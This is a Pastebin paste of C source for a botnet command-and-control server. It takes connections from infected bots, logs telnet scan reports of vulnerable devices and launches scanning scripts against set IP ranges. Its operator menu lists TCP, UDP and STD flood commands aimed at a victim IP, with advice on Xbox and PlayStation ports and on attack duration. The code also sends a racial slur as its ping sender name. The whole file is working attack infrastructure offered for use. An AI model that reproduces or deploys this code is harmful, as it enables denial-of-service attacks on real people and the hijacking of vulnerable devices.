Advertisement
Guest User

server

a guest
Mar 23rd, 2017
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 28.86 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14.  
  15. #define MAXFDS 1000000
  16.  
  17. struct account {
  18.     char id[20];
  19.     char password[20];
  20. };
  21. static struct account accounts[80]; //max users is set on 80 you can edit that to whatever
  22.  
  23. struct clientdata_t {
  24.         uint32_t ip;
  25.         char build[7];
  26.         char connected;
  27. } clients[MAXFDS];
  28.  
  29. struct telnetdata_t {
  30.         int connected;
  31. } managements[MAXFDS];
  32.  
  33. ////////////////////////////////////
  34.  
  35.  
  36. static volatile FILE *telFD;
  37. static volatile FILE *fileFD;
  38. static volatile int epollFD = 0;
  39. static volatile int listenFD = 0;
  40. static volatile int managesConnected = 0;
  41. static volatile int TELFound = 0;
  42. static volatile int scannerreport;
  43.  
  44.  
  45. ////////////////////////////////////
  46.  
  47.  
  48. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  49. {
  50.         int total = 0, got = 1;
  51.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  52.         return got;
  53. }
  54. void trim(char *str)
  55. {
  56.     int i;
  57.     int begin = 0;
  58.     int end = strlen(str) - 1;
  59.     while (isspace(str[begin])) begin++;
  60.     while ((end >= begin) && isspace(str[end])) end--;
  61.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  62.     str[i - begin] = '\0';
  63. }
  64.  
  65.  
  66. static int make_socket_non_blocking (int sfd)
  67. {
  68.         int flags, s;
  69.         flags = fcntl (sfd, F_GETFL, 0);
  70.         if (flags == -1)
  71.         {
  72.                 perror ("fcntl");
  73.                 return -1;
  74.         }
  75.         flags |= O_NONBLOCK;
  76.         s = fcntl (sfd, F_SETFL, flags);
  77.         if (s == -1)
  78.         {
  79.                 perror ("fcntl");
  80.                 return -1;
  81.         }
  82.         return 0;
  83. }
  84.  
  85.  
  86. static int create_and_bind (char *port)
  87. {
  88.         struct addrinfo hints;
  89.         struct addrinfo *result, *rp;
  90.         int s, sfd;
  91.         memset (&hints, 0, sizeof (struct addrinfo));
  92.         hints.ai_family = AF_UNSPEC;
  93.         hints.ai_socktype = SOCK_STREAM;
  94.         hints.ai_flags = AI_PASSIVE;
  95.         s = getaddrinfo (NULL, port, &hints, &result);
  96.         if (s != 0)
  97.         {
  98.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  99.                 return -1;
  100.         }
  101.         for (rp = result; rp != NULL; rp = rp->ai_next)
  102.         {
  103.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  104.                 if (sfd == -1) continue;
  105.                 int yes = 1;
  106.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  107.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  108.                 if (s == 0)
  109.                 {
  110.                         break;
  111.                 }
  112.                 close (sfd);
  113.         }
  114.         if (rp == NULL)
  115.         {
  116.                 fprintf (stderr, "Could not bind\n");
  117.                 return -1;
  118.         }
  119.         freeaddrinfo (result);
  120.         return sfd;
  121. }
  122. void broadcast(char *msg, int us, char *sender)
  123. {
  124.         int sendMGM = 1;
  125.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  126.         char *wot = malloc(strlen(msg) + 10);
  127.         memset(wot, 0, strlen(msg) + 10);
  128.         strcpy(wot, msg);
  129.         trim(wot);
  130.         time_t rawtime;
  131.         struct tm * timeinfo;
  132.         time(&rawtime);
  133.         timeinfo = localtime(&rawtime);
  134.         char *timestamp = asctime(timeinfo);
  135.         trim(timestamp);
  136.         int i;
  137.         for(i = 0; i < MAXFDS; i++)
  138.         {
  139.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  140.                 if(sendMGM && managements[i].connected)
  141.                 {
  142.                         send(i, "\x1b[35m", 5, MSG_NOSIGNAL);
  143.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  144.                         send(i, ": ", 2, MSG_NOSIGNAL);
  145.                 }
  146.                 printf("sent to fd: %d\n", i);
  147.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  148.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37m~$ \x1b[0m", 13, MSG_NOSIGNAL);
  149.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  150.         }
  151.         free(wot);
  152. }
  153.  
  154. void *epollEventLoop(void *useless)
  155. {
  156.         struct epoll_event event;
  157.         struct epoll_event *events;
  158.         int s;
  159.         events = calloc (MAXFDS, sizeof event);
  160.         while (1)
  161.         {
  162.                 int n, i;
  163.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  164.                 for (i = 0; i < n; i++)
  165.                 {
  166.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  167.                         {
  168.                                 clients[events[i].data.fd].connected = 0;
  169.                                 close(events[i].data.fd);
  170.                                 continue;
  171.                         }
  172.                         else if (listenFD == events[i].data.fd)
  173.                         {
  174.                                 while (1)
  175.                                 {
  176.                                         struct sockaddr in_addr;
  177.                                         socklen_t in_len;
  178.                                         int infd, ipIndex;
  179.  
  180.                                         in_len = sizeof in_addr;
  181.                                         infd = accept (listenFD, &in_addr, &in_len);
  182.                                         if (infd == -1)
  183.                                         {
  184.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  185.                                                 else
  186.                                                 {
  187.                                                         perror ("accept");
  188.                                                         break;
  189.                                                 }
  190.                                         }
  191.  
  192.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  193.  
  194.                                         int dup = 0;
  195.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  196.                                         {
  197.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  198.  
  199.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  200.                                                 {
  201.                                                         dup = 1;
  202.                                                         break;
  203.                                                 }
  204.                                         }
  205.  
  206.                                         if(dup)
  207.                                         {
  208.                                                 printf("DUP Client - Terminating\n");
  209.                                                 if(send(infd, "!* GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  210.                                                 if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  211.                                                 close(infd);
  212.                                                 continue;
  213.                                         }
  214.  
  215.                                         s = make_socket_non_blocking (infd);
  216.                                         if (s == -1) { close(infd); break; }
  217.  
  218.                                         event.data.fd = infd;
  219.                                         event.events = EPOLLIN | EPOLLET;
  220.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  221.                                         if (s == -1)
  222.                                         {
  223.                                                 perror ("epoll_ctl");
  224.                                                 close(infd);
  225.                                                 break;
  226.                                         }
  227.  
  228.                                         clients[infd].connected = 1;
  229.                                         send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  230.                                         send(infd, "!* FATCOCK\n", 11, MSG_NOSIGNAL);
  231.                                        
  232.                                 }
  233.                                 continue;
  234.                         }
  235.                         else
  236.                         {
  237.                                 int thefd = events[i].data.fd;
  238.                                 struct clientdata_t *client = &(clients[thefd]);
  239.                                 int done = 0;
  240.                                 client->connected = 1;
  241.                                 while (1)
  242.                                 {
  243.                                         ssize_t count;
  244.                                         char buf[2048];
  245.                                         memset(buf, 0, sizeof buf);
  246.  
  247.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  248.                                         {
  249.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  250.                                                 trim(buf);
  251.                                                 if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  252.                                                 {
  253.                                                 if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  254.                                                         continue;
  255.                                                 }
  256.                                                 if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  257.                                                 {
  258.                                                         char *line = strstr(buf, "REPORT ") + 7;
  259.                                                         fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  260.                                                         fflush(telFD);
  261.                                                         TELFound++;
  262.                                                         continue;
  263.                                                 }
  264.                                                 if(strstr(buf, "PROBING") == buf)
  265.                                                 {
  266.                                                         char *line = strstr(buf, "PROBING");
  267.                                                         scannerreport = 1;
  268.                                                         continue;
  269.                                                 }
  270.                                                 if(strstr(buf, "REMOVING PROBE") == buf)
  271.                                                 {
  272.                                                         char *line = strstr(buf, "REMOVING PROBE");
  273.                                                         scannerreport = 0;
  274.                                                         continue;
  275.                                                 }
  276.                                                 if(strcmp(buf, "PONG") == 0)
  277.                                                 {
  278.                                                         continue;
  279.                                                 }
  280.  
  281.                                                 printf("buf: \"%s\"\n", buf);
  282.                                         }
  283.  
  284.                                         if (count == -1)
  285.                                         {
  286.                                                 if (errno != EAGAIN)
  287.                                                 {
  288.                                                         done = 1;
  289.                                                 }
  290.                                                 break;
  291.                                         }
  292.                                         else if (count == 0)
  293.                                         {
  294.                                                 done = 1;
  295.                                                 break;
  296.                                         }
  297.                                 }
  298.  
  299.                                 if (done)
  300.                                 {
  301.                                         client->connected = 0;
  302.                                         close(thefd);
  303.                                 }
  304.                         }
  305.                 }
  306.         }
  307. }
  308.  
  309. unsigned int clientsConnected()
  310. {
  311.         int i = 0, total = 0;
  312.         for(i = 0; i < MAXFDS; i++)
  313.         {
  314.                 if(!clients[i].connected) continue;
  315.                 total++;
  316.         }
  317.  
  318.         return total;
  319. }
  320.  
  321. void *titleWriter(void *sock)
  322. {
  323.         int thefd = (int)sock;
  324.         char string[2048];
  325.         while(1)
  326.         {
  327.                 memset(string, 0, 2048);
  328.                 sprintf(string, "%c]0;Bots connected: %d |DONT SPAM| Operators connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  329.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  330.  
  331.                 sleep(2);
  332.         }
  333. }
  334.  
  335. int Search_in_File(char *str)
  336. {
  337.     FILE *fp;
  338.     int line_num = 0;
  339.     int find_result = 0, find_line=0;
  340.     char temp[512];
  341.  
  342.     if((fp = fopen("login.txt", "r")) == NULL){
  343.         return(-1);
  344.     }
  345.     while(fgets(temp, 512, fp) != NULL){
  346.         if((strstr(temp, str)) != NULL){
  347.             find_result++;
  348.             find_line = line_num;
  349.         }
  350.         line_num++;
  351.     }
  352.     if(fp)
  353.         fclose(fp);
  354.  
  355.     if(find_result == 0)return 0;
  356.  
  357.     return find_line;
  358. }
  359.  
  360. void *telnetWorker(void *sock)
  361. {
  362.         char usernamez[80];
  363.         int thefd = (int)sock;
  364.         int find_line;
  365.         managesConnected++;
  366.         pthread_t title;
  367.         char counter[2048];
  368.         memset(counter, 0, 2048);
  369.         char buf[2048];
  370.         char* nickstring;
  371.         char* username;
  372.         char* password;
  373.         memset(buf, 0, sizeof buf);
  374.         char botnet[2048];
  375.         memset(botnet, 0, 2048);
  376.    
  377.         FILE *fp;
  378.         int i=0;
  379.         int c;
  380.         fp=fopen("login.txt", "r"); // format: user pass
  381.         while(!feof(fp))
  382.         {
  383.                 c=fgetc(fp);
  384.                 ++i;
  385.         }
  386.         int j=0;
  387.         rewind(fp);
  388.         while(j!=i-1)
  389.         {
  390.             fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  391.             ++j;
  392.         }
  393.        
  394.         if(send(thefd, "\x1b[37mUsername: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  395.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  396.         trim(buf);
  397.             sprintf(usernamez, buf);
  398.         nickstring = ("%s", buf);
  399.         find_line = Search_in_File(nickstring);
  400.         if(strcmp(nickstring, accounts[find_line].id) == 0){       
  401.         if(send(thefd, "\x1b[35m*           VALID CREDENTIALS          *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;      
  402.         if(send(thefd, "\x1b[37mPassword: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  403.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  404.         trim(buf);
  405.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  406.         memset(buf, 0, 2048);
  407.         goto fak;
  408.         }
  409.         failed:
  410.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  411.         if(send(thefd, "\x1b[32m***********************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  412.         if(send(thefd, "\x1b[32m*          INVALID LOGIN          *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  413.         if(send(thefd, "\x1b[32m***********************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  414.             sleep(5);
  415.         goto end;
  416.         fak:
  417.        
  418.         pthread_create(&title, NULL, &titleWriter, sock);
  419.         char line1[80];
  420.      
  421.         sprintf(line1, "\x1b[0;37m*\x1b[0;35m       Welcome To The Purge\x1b[0;37m         *\r\n");
  422.        
  423.         if(send(thefd, "\x1b[0;37m****************************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end;
  424.         if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  425.         if(send(thefd, "\x1b[0;37m****************************************\r\n\r\n~$ \x1b[0m", 50, MSG_NOSIGNAL) == -1) goto end;
  426.         pthread_create(&title, NULL, &titleWriter, sock);
  427.         managements[thefd].connected = 1;
  428.        
  429.         while(fdgets(buf, sizeof buf, thefd) > 0)
  430.         {
  431.         if(strstr(buf, "STATUS"))
  432.         {
  433.           sprintf(botnet, "Telnet devices: %d | Telnet status: %d\r\n", TELFound, scannerreport);
  434.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  435.         }  
  436.  
  437.         if(strstr(buf, "BOTS"))
  438.         {  
  439.           sprintf(botnet, "Bots connected: %d | Operators connected: %d\r\n", clientsConnected(), managesConnected);
  440.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  441.         }
  442.      
  443.         if(strstr(buf, "SHOW"))
  444.         {  
  445.           sprintf(botnet, "Bots connected: %d | Operators connected: %d\r\n", clientsConnected(), managesConnected);
  446.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  447.        }
  448.        
  449.         if(strstr(buf, "bots"))
  450.         {  
  451.           sprintf(botnet, "Bots connected: %d | Operators connected: %d\r\n", clientsConnected(), managesConnected);
  452.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  453.         }  
  454.          if(strstr(buf, "TIME"))
  455.         {  
  456.           sprintf(botnet, "THIS IS FOR THE SKIDZZ\r\nMAX TIME=1500\r\nTHAT DONT MEAN SPAM 1500\r\nIF SOMEONE IS PISSING YOU OFF JUST DO 100-600 SECONDS\r\n");
  457.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  458.             }
  459.             if(strstr(buf, "LOAD")) {
  460.                 system("python scan.py LUCKY1 1 1");
  461.                 continue;
  462.             }
  463.             if(strstr(buf, "SCAN1")) {
  464.                 system("python scan.py 500 B 49.144 3");
  465.                 continue;
  466.             }
  467.             if(strstr(buf, "SCAN2")) {
  468.                 system("python scan.py 500 B 119.93 3");
  469.                 continue;
  470.             }
  471.             if(strstr(buf, "SCAN3")) {
  472.                 system("python scan.py 500 B 49.149 3");
  473.                 continue;
  474.             }
  475.             if(strstr(buf, "SCAN4")) {
  476.                 system("python scan.py 500 B 5.78 1");
  477.                 continue;
  478.             }
  479.             if(strstr(buf, "SCAN5")) {
  480.                 system("python scan.py 500 B 46.62  1");
  481.                 continue;
  482.             }
  483.             if(strstr(buf, "SCAN6")) {
  484.                 system("python scan.py 500 B 113.53 1");
  485.                 continue;
  486.             }
  487.             if(strstr(buf, "SCAN7")) {
  488.                 system("python scan.py 500 B 180.180 1");
  489.                 continue;
  490.             }
  491.             if(strstr(buf, "SCAN8")) {
  492.                 system("python scan.py 500 B 185.52 1");
  493.                 continue;
  494.             }
  495.             if(strstr(buf, "LUCKY")) {
  496.                 system("python scan.py 500 LUCKY2 1 3");
  497.                 continue;
  498.             }
  499.             if(strstr(buf, "LUCKY2")) {
  500.                 system("python scan.py 500 LUCKY3 1 4");
  501.                 continue;
  502.             }
  503.             if(strstr(buf, "SCAN_OFF")) {
  504.                 system("killall -9 python");
  505.                 continue;
  506.             }
  507.         if(strstr(buf, "RULES"))
  508.         {  
  509.           sprintf(botnet, "NO HITTING THE SAME IP MORE THEN TWICE\r\nNO ATTACKS ABOVE 1500\r\n");
  510.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  511.         }      
  512.        if(strstr(buf, "EXTRA"))
  513.         {  
  514.           sprintf(botnet, "EXTRA HELP\r\n");
  515.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  516.           sprintf(botnet, "!* TCP IP PORT TIME 32 all 0 1\r\nTHE IP=THE VICTIMS IP\r\nPORT LOOK IN THE PORT COMMAND\r\nTIME = HOW LONG DONT GO OVER 1500\r\n");
  517.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  518.         }
  519.         if(strstr(buf, "PORTS"))
  520.         {  
  521.           sprintf(botnet, "xbox port 3074 psn port 443, 53, 3478 if you dont know the port use 80\r\n");
  522.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  523.         }
  524.         if(strstr(buf, "!* SCANNER ON"))
  525.         {  
  526.           sprintf(botnet, "TELNET SCANNER STARTED\r\n");
  527.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  528.         }
  529.         if(strstr(buf, "ports"))
  530.         {  
  531.           sprintf(botnet, "xbox port 3074 psn port 443, 53, 3478 if you dont know the port use 80\r\n");
  532.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  533.         }
  534.         if(strstr(buf, "HELP"))
  535.         {  
  536.           sprintf(botnet, "\x1b[0;35mAttack Methods---------------------------------------\r\n");
  537.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  538.           sprintf(botnet, "\x1b[0;37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n");
  539.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  540.           sprintf(botnet, "\x1b[0;37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n");
  541.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  542.           sprintf(botnet, "\x1b[0;37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  543.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  544.           sprintf(botnet, "\x1b[0;35mExtra Commands---------------------------------------\r\n");
  545.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  546.           sprintf(botnet, "\x1b[0;37m!* KILLATTK | KILLS ALL ATTACKS\r\n");
  547.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  548.           sprintf(botnet, "\x1b[0;37m!* SCANNER ON | TURNS ON THE TELNET SCANNER\r\n");
  549.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  550.           sprintf(botnet, "\x1b[0;35mOther Commands---------------------------------------\r\n");
  551.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  552.           sprintf(botnet, "\x1b[0;37mPORTS | SHOWS THE PORTS TO HIT WITH\r\n");
  553.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  554.           sprintf(botnet, "\x1b[0;37mEXTRA | EXTRA HELP WHEN IT COMES TO HITTING\r\n");
  555.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  556.           sprintf(botnet, "\x1b[0;37mBOTS | SHOW REAL BOT COUNT\r\n");
  557.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  558.           sprintf(botnet, "\x1b[0;37mCLEAR | CLEARS YOUR SCREEN\r\n");
  559.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  560.           sprintf(botnet, "\x1b[0;37mSTATUS | SHOWS THE TELNET DEVICES\r\n");
  561.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  562.           sprintf(botnet, "\x1b[0;37mTIME | JUST LOOK AT IT\r\n");
  563.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  564.          }
  565.         if(strstr(buf, "help"))
  566.         {  
  567.           sprintf(botnet, "\x1b[0;35mAttack Methods---------------------------------------\r\n");
  568.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  569.           sprintf(botnet, "\x1b[0;37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n");
  570.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  571.           sprintf(botnet, "\x1b[0;37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n");
  572.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  573.           sprintf(botnet, "\x1b[0;37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  574.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  575.           sprintf(botnet, "\x1b[0;35mExtra Commands---------------------------------------\r\n");
  576.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  577.           sprintf(botnet, "\x1b[0;37m!* KILLATTK | KILLS ALL ATTACKS\r\n");
  578.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  579.           sprintf(botnet, "\x1b[0;37m!* SCANNER ON | TURNS ON THE TELNET SCANNER\r\n");
  580.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  581.           sprintf(botnet, "\x1b[0;35mOther Commands---------------------------------------\r\n");
  582.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  583.           sprintf(botnet, "\x1b[0;37mPORTS | SHOWS THE PORTS TO HIT WITH\r\n");
  584.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  585.           sprintf(botnet, "\x1b[0;37mEXTRA | EXTRA HELP WHEN IT COMES TO HITTING\r\n");
  586.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  587.           sprintf(botnet, "\x1b[0;37mBOTS | SHOW REAL BOT COUNT\r\n");
  588.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  589.           sprintf(botnet, "\x1b[0;37mCLEAR | CLEARS YOUR SCREEN\r\n");
  590.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  591.           sprintf(botnet, "\x1b[0;37mSTATUS | SHOWS THE TELNET DEVICES\r\n");
  592.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  593.           sprintf(botnet, "\x1b[0;37mTIME | JUST LOOK AT IT\r\n");
  594.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  595.          }
  596.              if(strstr(buf, "CLEAR")){
  597.  
  598.     if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  599.     if(send(thefd,"\x1b[0;37m****************************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end;
  600.         if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  601.         if(send(thefd, "\x1b[0;37m****************************************\r\n\r\n> \x1b[0m", 50, MSG_NOSIGNAL) == -1) goto end;
  602.         pthread_create(&title, NULL, &titleWriter, sock);
  603.         managements[thefd].connected = 1;
  604.         }
  605.             if(strstr(buf, "clear")){
  606.  
  607.     if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  608.     if(send(thefd,"\x1b[0;37m****************************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end;
  609.         if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  610.         if(send(thefd, "\x1b[0;37m****************************************\r\n\r\n> \x1b[0m", 50, MSG_NOSIGNAL) == -1) goto end;
  611.         pthread_create(&title, NULL, &titleWriter, sock);
  612.         managements[thefd].connected = 1;
  613.         }
  614.         if(strstr(buf, "LOGOUT"))
  615.         {  
  616.           goto end;
  617.         }
  618.         if(strstr(buf, "99999999999")) {
  619.             goto end;
  620.         }
  621.                 trim(buf);
  622.                 if(send(thefd, "\x1b[37m~$ \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  623.                 if(strlen(buf) == 0) continue;
  624.                 printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  625.                 FILE *logFile;
  626.                 logFile = fopen("server.log", "a");
  627.                 fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  628.                 fclose(logFile);
  629.                 broadcast(buf, thefd, usernamez);
  630.                 memset(buf, 0, 2048);
  631.         }
  632.  
  633.         end:    // cleanup dead socket
  634.                 managements[thefd].connected = 0;
  635.                 close(thefd);
  636.                 managesConnected--;
  637. }
  638.  
  639. void *telnetListener(int port)
  640. {
  641.         int sockfd, newsockfd;
  642.         socklen_t clilen;
  643.         struct sockaddr_in serv_addr, cli_addr;
  644.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  645.         if (sockfd < 0) perror("ERROR opening socket");
  646.         bzero((char *) &serv_addr, sizeof(serv_addr));
  647.         serv_addr.sin_family = AF_INET;
  648.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  649.         serv_addr.sin_port = htons(port);
  650.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  651.         listen(sockfd,5);
  652.         clilen = sizeof(cli_addr);
  653.         while(1)
  654.         {
  655.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  656.                 if (newsockfd < 0) perror("ERROR on accept");
  657.                 pthread_t thread;
  658.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  659.         }
  660. }
  661.  
  662. int main (int argc, char *argv[], void *sock)
  663. {
  664.         signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  665.  
  666.         int s, threads, port;
  667.         struct epoll_event event;
  668.  
  669.         if (argc != 4)
  670.         {
  671.                 fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  672.                 exit (EXIT_FAILURE);
  673.         }
  674.         port = atoi(argv[3]);
  675.        
  676.         printf("\x1b[31mNet Made By CloudFlare\x1b[0m\n");
  677.         telFD = fopen("telnet.txt", "a+");
  678.         threads = atoi(argv[2]);
  679.        
  680.         listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  681.         if (listenFD == -1) abort ();
  682.  
  683.         s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  684.         if (s == -1) abort ();
  685.  
  686.         s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  687.         if (s == -1)
  688.         {
  689.                 perror ("listen");
  690.                 abort ();
  691.         }
  692.  
  693.         epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  694.         if (epollFD == -1)
  695.         {
  696.                 perror ("epoll_create");
  697.                 abort ();
  698.         }
  699.  
  700.         event.data.fd = listenFD;
  701.         event.events = EPOLLIN | EPOLLET;
  702.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  703.         if (s == -1)
  704.         {
  705.                 perror ("epoll_ctl");
  706.                 abort ();
  707.         }
  708.  
  709.         pthread_t thread[threads + 2];
  710.         while(threads--)
  711.         {
  712.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  713.         }
  714.  
  715.         pthread_create(&thread[0], NULL, &telnetListener, port);
  716.  
  717.         while(1)
  718.         {
  719.                 broadcast("PING", -1, "NIGGER");
  720.                 sleep(60);
  721.         }
  722.  
  723.         close (listenFD);
  724.  
  725.         return EXIT_SUCCESS;
  726. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement